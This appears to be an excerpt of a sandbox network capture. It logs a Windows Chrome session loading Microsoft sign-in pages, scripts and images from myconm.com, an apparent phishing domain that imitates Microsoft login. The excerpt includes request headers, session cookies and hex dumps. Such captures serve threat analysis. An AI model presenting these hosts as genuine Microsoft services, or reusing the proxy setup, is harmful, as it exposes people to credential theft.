2024-12-09 17:42:57 UTC	778	OUT	GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1 Host: offcap.myconm.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://offcap.myconm.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=f838640a-cf8a-4a39-8bf0-a2fc6bb74112; brcap=0 Sec-WebSocket-Key: rABVgOFLHsWXz+frWttiBw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-09 17:42:58 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:42:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: b38e5df4-d3c8-49e0-a7d0-cb5510794201 x-ms-ests-server: 2.1.19492.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	49811	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:59 UTC	770	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:00 UTC	764	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:00 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: 7c4a7895-801e-0052-0bd0-44c801000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174300Z-15b54885d96vz9hphC1FRA88ug0000000p0000000000ycp6 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes
2024-12-09 17:43:00 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-12-09 17:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.17	49812	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:59 UTC	784	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:00 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:00 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:49 GMT etag: 0x8DB5C3F49ED96E0 x-ms-request-id: ba5951b4-e01e-0036-3a00-4a3999000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174300Z-15cf8f76fbbsnr9jhC1DUSxxp400000000h00000000045zr x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:00 UTC	628	IN	Data Raw: 32 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b Data Ascii: 26d}UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;
2024-12-09 17:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.17	49810	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:59 UTC	563	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:01 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:01 GMT Content-Type: application/x-javascript Content-Length: 116413 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:54 GMT etag: 0x8DCBD5317046A2F x-ms-request-id: 8a317c76-801e-002b-5000-4a7c37000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174300Z-15cf8f76fbbjg597hC1DUSzyhn00000000y000000000rfqt x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:01 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 30 44 46 78 48 42 7a 98 49 02 07 c8 f4 f4 10 26 8f b0 cb 58 89 2d 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b bf 38 3c bb a8 9d bc ab 5d fc e5 f8 ec 6d ed 14 ee 7e ad 7d 3c b9 38 7e 73 b4 7e 3d d8 28 fe bb 18 fb 71 6d e4 4f 78 0d 7e af bd 98 0f 6b 61 50 0b a3 9a 1f 0c c2 68 16 46 5e c2 e3 da 14 fe 46 be 37 a9 8d a2 70 5a 4b c6 bc 36 8b c2 af 7c 90 c4 b5 89 1f 27 f0 d1 35 9f 84 77 35 13 aa 8b 86 b5 53 2f 4a 1e 6a c7 a7 56 0b ea e7 50 9b 7f e3 07 f0 f5 20 9c 3d c0 f5 38 a9 05 61 e2 0f 78 cd 0b 86 54 db 04 6e 82 98 d7 d2 60 c8 a3 da dd d8 1f 8c 6b 1f fc 41 14 c6 e1 28 a9 45 7c c0 fd 5b Data Ascii: k[H(}[-c0DFxHBzI&X-ytkJ&^~_jW;8<]m~}<8~s~=(qmOx~kaPhF^F7pZK6\|'5w5S/JjVP =8axTn`kA(E\|[
2024-12-09 17:43:01 UTC	12556	IN	Data Raw: 69 3f ec 3f f5 3a 93 4b 23 4d 58 59 50 b3 d8 2e 14 c6 f1 60 90 76 39 a2 ca 7d 0a c4 6c 46 7b 28 72 48 0c 1b 29 1f 49 83 69 74 84 3e 47 59 c8 42 9b f2 5b ca 68 89 5e 36 a7 a4 09 a8 17 38 0d 53 1c 3e 97 1c 1a 24 8a 0d 4a a7 01 d5 4f e2 5c ba e4 73 91 1d cc fc 76 23 bb 17 f9 48 55 e3 fb 1d 24 72 d5 75 be 53 62 b7 c3 d2 4d f8 e3 e1 9f 08 fe 94 d8 cb 4c b2 60 93 bb a2 08 85 dd c2 5c 74 9f 8e 83 c4 ee be 3e 32 f9 4f b1 b5 a0 9d 4a e3 1e b9 1b c2 f5 c8 77 a3 9e bf 9f 52 70 74 4a 3f 90 30 df 82 5a d0 fa 7a 03 ab 1b c1 71 f0 37 46 a2 a7 e2 09 4c c4 c8 f5 2d 06 8f 9b b6 66 24 5d 1b fd 14 d3 96 df 40 f3 44 2c e6 6f b8 f8 2d c3 e6 72 eb e7 a8 e9 1d a4 c2 1d 72 c3 23 61 49 cf 47 b7 27 7f 63 23 57 eb 4e 50 19 3b 86 a7 e3 7d af 37 d6 7a d7 44 92 9b fa 37 86 4e 4d 10 fd Data Ascii: i??:K#MXYP.`v9}lF{(rH)Iit>GYB[h^68S>$JO\sv#HU$ruSbML`\t>2OJwRptJ?0Zzq7FL-f$]@D,o-rr#aIG'c#WNP;}7zD7NM
2024-12-09 17:43:01 UTC	16384	IN	Data Raw: 27 4b 16 ea 67 9b 9d fc 20 a4 3a 13 c5 41 d4 2b 83 bc e1 86 eb f9 e1 61 db eb 7b 61 50 8a 77 05 d3 88 df 28 1b 98 8e f1 3e 0f 4a 91 1a 1d 7e 35 da 33 ad 05 f7 8b f5 08 44 78 a9 f1 cb 1b 6d d3 ee 22 e9 e6 62 e3 f1 dc 81 40 79 4b 2e 35 b1 34 68 35 47 8e b3 34 2d 84 36 0a 9f 67 74 e9 34 1d 66 18 c5 f8 c6 ac a7 99 a2 46 e2 aa ec 41 95 7e e0 c7 03 a6 c7 09 6a be 4e e5 ee 78 bf e1 e4 ad 50 a5 62 86 6f a5 fc 14 fa da 19 0f d6 2e a5 05 51 75 3f 47 d3 a8 ca fd 67 7a 15 7b 1a b3 65 01 d6 5c bb aa db ee 50 ff f6 65 a8 a4 bc c3 3e 07 be a1 06 30 fc 87 2c 99 c8 8c 13 aa 9d 5a 4a a2 a4 37 2c 9c 8d a9 71 97 6f 5d bc 47 04 92 06 5a f2 df b0 3d fd d8 d8 93 74 be 88 2c 2b 78 b6 a8 2c 2b 7c 2d a6 f3 0c 0f b5 5d 91 cd 64 65 9d f0 3a 8c 27 c2 79 96 b4 05 2b 92 31 ba 28 e3 09 Data Ascii: 'Kg :A+a{aPw(>J~53Dxm"b@yK.54h5G4-6gt4fFA~jNxPbo.Qu?Ggz{e\Pe>0,ZJ7,qo]GZ=t,+x,+\|-]de:'y+1(
2024-12-09 17:43:01 UTC	16384	IN	Data Raw: dd 23 96 c2 68 f1 af b8 71 0e 3c 7b 17 81 e1 34 6e dc 2b 52 8a b2 f6 ae 07 a0 ef dc 01 eb e7 de 17 30 6b 38 86 05 4a e6 45 58 60 06 72 be 31 b7 18 ec a9 41 34 f4 4f 1f 1e 4e 66 ec 5e 2d f5 82 bc da 16 08 53 a0 0f a7 dd 4f be 98 5b a2 86 7b 82 cc 9d e4 a7 64 a4 6a f7 c2 4d d9 2d fb 08 12 f1 6c b6 34 69 dc d9 9c 3b da 76 c4 a6 dd 6b 89 4d bb bf c3 37 ed ee e6 33 be 69 f7 37 5b 7c d3 ee b6 b6 f8 a6 dd dd da e6 9b 76 7f b3 cd f7 ec fe e6 26 ee 59 c1 5c dc d1 b7 f6 16 9d 86 20 18 5d 73 10 5c 06 d7 dd 4d bf 0d fb b5 90 59 b0 9a 0e ee d5 ab de 95 4e 7d 05 7b d5 d2 8b 5d 11 a2 dd f0 2e 6e 83 1b 43 84 44 0d ec 1d 9e a1 b7 cc 19 84 25 66 4f 59 5b 13 72 d0 6d 93 ee b0 55 15 f4 76 43 90 39 c7 83 87 07 6d 7a b0 b5 a3 6a b2 06 89 ee d7 5d ac 54 a1 b0 1a 91 fe 9a 4c 7c Data Ascii: #hq<{4n+R0k8JEX`r1A4ONf^-SO[{djM-l4i;vkM73i7[\|v&Y\ ]s\MYN}{].nCD%fOY[rmUvC9mzj]TL\|
2024-12-09 17:43:01 UTC	16384	IN	Data Raw: cb b3 86 8c 4e 18 77 9c bd 07 7f d8 2a d4 01 bc 84 c9 c3 56 85 94 54 7b eb c1 9e a3 39 01 52 c1 bc ce e3 8f 50 6b ad 29 8f 1f 87 59 e5 01 9f 64 cb c2 f5 3e 53 c4 ab 92 83 94 19 c0 a9 f4 05 60 45 0e c7 0b 38 57 98 29 94 16 e4 f6 56 17 c2 45 28 82 b5 ed 9e 76 8c 95 85 e5 a9 15 cf 98 f3 1b b9 0c 85 53 94 ba a0 86 d8 ab 55 40 eb c5 5a 51 58 2f a8 a9 72 2a 42 07 73 6e 02 1b 1c 14 e4 65 cc 08 4e 09 75 10 d2 68 0d 35 b2 73 0b 5f 0e 69 7d ae 09 e6 69 ae 98 e8 d8 66 a2 63 9b 89 9e 02 fe ca 37 9e 17 c4 4f bd ed da ba 54 00 e7 29 e9 07 81 59 23 a9 af a1 c2 b2 dd af e3 6e d7 33 13 97 b8 65 bd 01 3a ff 88 0c 92 c3 5f e3 92 b3 70 e8 15 5c 66 6d 70 a7 82 10 50 27 39 20 8f 8f f1 b3 73 b4 ff 8c 59 3e a1 c5 bb ca e5 19 11 9c 86 7a 1d 39 da 7d 97 7a a3 77 7b ef 1e fc 61 fc Data Ascii: NwVT{9RPk)Yd>S`E8W)VE(vSU@ZQX/rBsneNuh5s_i}ifc7OT)Y#n3e:_p\fmpP'9 sY>z9}zw{a
2024-12-09 17:43:01 UTC	16384	IN	Data Raw: 79 24 fd 3c 92 7e 1e 49 3f 8f 64 5c 8f a4 bf 47 d2 df 23 e9 ef 48 fa 3b 92 fe 8e a4 9f 23 e9 e7 88 fa 39 54 c3 3d 92 ee 8e a4 bb 23 e9 ee 48 ba 7b 2c dd 3d 96 ee 1e 4b bb c7 d2 ed 63 e9 f6 b1 0c ef b1 f4 f7 58 fa 7b 2c fd 3d e6 fe 7a fb fb f2 b7 2f 7f 07 f2 f7 40 fe 3e 94 bf 87 f2 97 fb 81 07 f9 db 93 bf d2 be 27 ed 7a d2 ae 27 ed 7a aa dd 91 fc 95 ef f7 a5 9f be f4 d3 97 ef f7 a5 9f be b4 ef 4b fb be b4 ef 4b fb 81 b4 1f 50 fb 23 f5 b9 81 0c 67 20 dd 0d 64 38 03 f5 5e ba 1b 48 77 03 e9 ee 40 ba 3b 90 e1 08 d4 f6 0e a4 9f 03 19 d6 81 f4 77 20 fd 1d 48 7f 07 d2 9f 40 79 4f a0 bc 27 50 de 13 28 ef 09 94 f7 04 ca 7b 02 e5 3d 81 f2 9e 40 77 4f a0 bb 27 d0 dd 13 e8 ee 09 b8 f4 04 ba 7b 02 dd 3d 81 ee de a1 f4 23 50 de 13 28 ef 09 94 f7 04 ca 7b 02 e5 3d 81 f2 Data Ascii: y$<~I?d\G#H;#9T=#H{,=KcX{,=z/@>'z'zKKP#g d8^Hw@;w H@yO'P({=@wO'{=#P({=
2024-12-09 17:43:01 UTC	16384	IN	Data Raw: 2a ac c6 58 45 cb 2d 7a b4 b6 f2 30 27 63 5c 20 79 27 d6 18 ed f2 09 ca 77 58 bf 83 9d d6 ef 26 ba 0b 80 12 1e 88 b5 93 b7 bb ac 5b 4d ca 7d 69 85 e4 9a 6d b3 30 52 fb ea 25 db 04 73 08 54 28 75 d3 ea c2 e4 9e 5b 99 5d a6 f0 68 c7 29 9c 22 3e 52 27 51 16 fc 19 e0 5f 16 51 87 77 85 fa 25 a0 a7 0e f4 9e 83 e0 48 ef ad 4e 7d 1a 84 2d 24 bc be 1d 84 eb 3b cc 7f 30 9b 4c 6c 6c f3 c7 34 29 92 51 fe 9d 68 92 a5 95 e0 67 43 4f 50 22 83 6d 29 11 5c 9b a5 73 20 4d 97 44 ba bf 64 80 49 53 df e6 e8 be 69 7d 1b d6 df e5 cc 8f 5c 3a ec 17 48 22 e3 19 bc 2b 90 e3 bc ad 9f da dd e7 cf 7a 7e fe 3c e0 87 f9 8c 59 3b 90 4b 71 38 70 c9 0c 1d 35 24 0b 5a 49 69 4e d5 9c e3 a9 39 16 dc c9 46 41 a8 ff 88 fa 8d 43 22 9e c4 25 fc 1d dc d5 b5 92 15 ea c5 aa b4 b8 cb 62 25 23 5d f2 Data Ascii: *XE-z0'c\ y'wX&[M}im0R%sT(u[]h)">R'Q_Qw%HN}-$;0Lll4)QhgCOP"m)\s MDdISi}\:H"+z~<Y;Kq8p5$ZIiN9FAC"%b%#]
2024-12-09 17:43:01 UTC	6360	IN	Data Raw: 6e 2c b9 83 4a ef e1 18 bc 49 54 b0 d2 b7 77 4c ae 7a 23 d4 e5 8d 31 74 63 d4 12 02 86 25 ee 5c 14 b8 b2 07 08 ff 00 27 89 8c 1c 5d d3 8d 16 ee 55 8b fd cc 47 e3 6b 60 a3 ae 58 28 ee 5f c0 13 0a 1f 90 7a f2 87 f0 32 8d b2 dc 3f 83 07 98 29 92 90 af 70 c5 3b 21 49 e7 55 2b c8 df ce a7 e1 aa 5c 33 91 6b 14 0e a7 ab f2 24 22 4f 7a 47 3d e7 32 4f 92 ac ec d1 a9 6c 2b 19 ce ef ea f9 58 e4 7b 96 65 86 fb 4e 3f 86 a4 ef a1 9b 01 6f 69 3f c1 2c 1c db 2d 04 52 19 de 0e 79 4a 21 ef 1c f3 aa 66 28 23 4f d6 04 9e 3f c0 c6 86 79 f6 a7 f0 bc cf b3 33 83 c7 b7 61 36 9f e6 fe 08 1e 0f 50 86 e4 5f 63 22 7e 3d c7 07 1c d8 29 3c bc c6 38 45 c0 41 b7 d2 f0 0c 96 22 4c 0f 79 8f 00 3b ea 6a e6 f2 ca bd 42 2a 8e 34 c5 ad 63 ff 6a e1 70 08 73 42 02 18 be b8 5b 0e f0 29 cd cb 05 Data Ascii: n,JITwLz#1tc%\']UGk`X(_z2?)p;!IU+\3k$"OzG=2Ol+X{eN?oi?,-RyJ!f(#O?y3a6P_c"~=)<8EA"Ly;jB*4cjpsB[)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.17	49813	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:59 UTC	783	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:00 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:00 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 8f25bc91-001e-0057-738c-4652c8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174300Z-15d6f6465c8nf69zhC1DUSstes0000000dq000000000px8v x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:00 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-12-09 17:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.17	49814	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:59 UTC	784	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:00 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:00 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 5381a469-501e-0007-6bd0-449098000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174300Z-15b54885d96w7llbhC1FRA4qr80000000p4g0000000033c0 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
